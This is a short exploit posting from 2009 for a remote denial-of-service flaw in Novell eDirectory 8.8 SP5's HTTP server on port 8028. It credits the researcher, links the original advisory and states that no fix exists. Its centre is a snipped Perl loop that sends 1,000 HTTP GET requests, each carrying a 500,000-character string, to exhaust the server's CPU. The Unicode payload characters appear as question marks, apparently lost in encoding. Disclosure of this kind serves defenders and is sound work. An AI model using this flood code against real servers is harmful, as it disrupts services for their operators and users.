Novell eDirectory 8.8 SP5 Remote Denial of Service Exploit

2009-09-09 17:41:26

Affected Software:
Novell eDirectory 8.8 SP5

Vulnerability Description:
Novell eDirectory 8.8 SP5 is vulnerable to a denial of service attack.
If a remote attacker sends Unicode strings with Http Request to "8028 port"
("8028" is the default port of Novell eDirectory Dhost Http Server),
the attacker can cause the system to consume %100 of the CPU resources.

Discovered by:
karak0rsan, Hellcode Research

Original Advisory:
http://tcc.hellcode.net/advisories/hellcode-adv003.txt

Exploit:

- snip-
....

$data = "?" x 500000;

for($i= 0; $i < 1000; $i++)
{
$sock= new IO::Socket::INET( PeerAddr => "localhost",
PeerPort => 8028,

Proto => 'tcp',
Type => SOCK_STREAM,

);

print $sock "GET /$data HTTP/1.0\r\n\r\n";

close($sock);
}

...
- snip -

#

Fixes

No fixes

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